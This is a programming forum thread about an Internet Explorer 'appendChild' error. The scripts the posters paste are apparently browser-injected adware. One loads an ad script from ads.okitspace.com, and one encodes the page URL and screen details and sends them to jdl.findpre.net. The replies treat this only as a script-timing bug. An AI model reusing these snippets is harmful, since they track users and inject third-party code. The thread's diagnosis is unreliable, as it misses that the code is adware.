By using this site, you agree to our updated Privacy Policy and our Terms of Use. Manage your Cookies Settings.
431,966 Members | 2,054 Online
Bytes IT Community
+ Ask a Question
Need help? Post your question and get tips & solutions from a community of 431,966 IT Pros & Developers. It's quick & easy.

Microsoft JScript runtime error: Unable to get value of the property 'appendChild': o

P: 42
I am seeing this error:

Microsoft JScript runtime error: Unable to get value of the property 'appendChild': object is undefiend or null
When run my project open this file scriptblock and show the error in this line :
Expand|Select|Wrap|Line Numbers
  1. var html_doc = document.getElementsByTagName('body')[0]; 
  2. var _js = document.createElement('script');
  3. _js.setAttribute('type', 'text/javascript');
  4. _js.setAttribute('id', 'mybho_js');
  5. var protocol = 'http'; 
  6. if (location.protocol == 'https:') protocol = 'https';
  7. _js.setAttribute('src', protocol + '://ads.okitspace.com/uploads/cover.js?id=03fbce0d90fd46f9d2eefb90370a336d&affid=EAZELEN'); 
  8. if(!document.getElementById('mybho_js')) html_doc.appendChild(_js);->append child is undefined or null
  9.  
When click ignore show me my project but then when I open the link in my site
Expand|Select|Wrap|Line Numbers
  1. <a onclient="openwindow()"></a>
It shows me this error again :

Line: 1
Error: Unable to get value of the property 'appendChild': object is null or undefined
Why does this happen and how can I resolve this problem?
Nov 21 '13 #1
Share this Question
Share on Google+
8 Replies


Dormilich
Expert Mod 5K+
P: 8,639
I am not very strong with JavaScript but I don't think there is a built in append method for arrays.
there is indeed no append()/appendChild() method on Arrays (that would be push()).

except that we are not dealing with arrays here, but DOM objects.

as for the problem. it wasn't checked, whether html_doc contained a valid Node object at all (it would be undefined if this JS code were executed in the HTML <head>).
Nov 26 '13 #2

P: 42
Thanks guide I resolve d my problem
jquery works the best in firefox
Dec 1 '13 #3

Dormilich
Expert Mod 5K+
P: 8,639
yea, FF tends to have the widest JavaScript feature support.
Dec 1 '13 #4

P: 3
I used ie and i incounter this problem .. how i can resolve this?
May 7 '14 #5

P: 3
Microsoft JScript runtime error: Unable to get value of the property 'appendChild': object is null or undefined

var Base64={_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefg hijklmnopqrstuvwxyz0123456789+/=",encode:function(c){var a="";var l,j,g,k,h,f,d;var b=0;c=Base64._utf8_encode(c);while(b<c.length){l=c .charCodeAt(b++);j=c.charCodeAt(b++);g=c.charCodeA t(b++);k=l>>2;h=((l&3)<<4)|(j>>4);f=((j&15)<<2)|(g >>6);d=g&63;if(isNaN(j)){f=d=64}else{if(isNaN(g)){ d=64}}a=a+this._keyStr.charAt(k)+this._keyStr.char At(h)+this._keyStr.charAt(f)+this._keyStr.charAt(d )}return a},_utf8_encode:function(b){b=b.replace(/\r\n/g,"\n");var a="";for(var f=0;f<b.length;f++){var d=b.charCodeAt(f);if(d<128){a+=String.fromCharCode (d)}else{if((d>127)&&(d<2048)){a+=String.fromCharC ode((d>>6)|192);a+=String.fromCharCode((d&63)|128) }else{a+=String.fromCharCode((d>>12)|224);a+=Strin g.fromCharCode(((d>>6)&63)|128);a+=String.fromChar Code((d&63)|128)}}}return a}};function stringify(f){var d=typeof(f);if(d!="object"||f===null){if(d=="strin g"){f='"'+f+'"'}return String(f)}else{var g,b,c=[],a=(f&&f.constructor==Array);for(g in f){b=f[g];d=typeof(b);if(d=="string"){b='"'+b+'"'}else{if(d =="object"&&b!==null){b=JSON.stringify(b)}}c.push( (a?"":'"'+g+'":')+String(b))}return(a?"[":"{")+String(c)+(a?"]":"}")}}var _rvz=_rvz||{};_rvz.affid=1018;_rvz.subaffid=1005;_ rvz.href=window.location.href;_rvz.width=window.sc reen.width;_rvz.height=window.screen.height;_rvz.l oader_client_timestamp=new Date().getTime();ustr=encodeURIComponent(Base64.en code(stringify(_rvz)));var e=document.createElement("script");e.src=("https:" ==document.location.protocol?"https://":"http://")+"jdl.findpre.net/amz/a"+ustr+".js";document.body.appendChild(e);
May 7 '14 #6

Dormilich
Expert Mod 5K+
P: 8,639
if you load that code in the <head>, document.body does not exist yet.
May 7 '14 #7

P: 3
yes po.. and in every module i click .. that error always pop up..
May 8 '14 #8

Frinavale
Expert Mod 5K+
P: 9,731
It sounds like you are trying to use a JavaScript library before it is properly loaded in the browser. I used to see something similar when I was attempting to run JavaScript within a library after the browser had unloaded that library.
May 12 '14 #9

Post your reply

Sign in to post your reply or Sign up for a free account.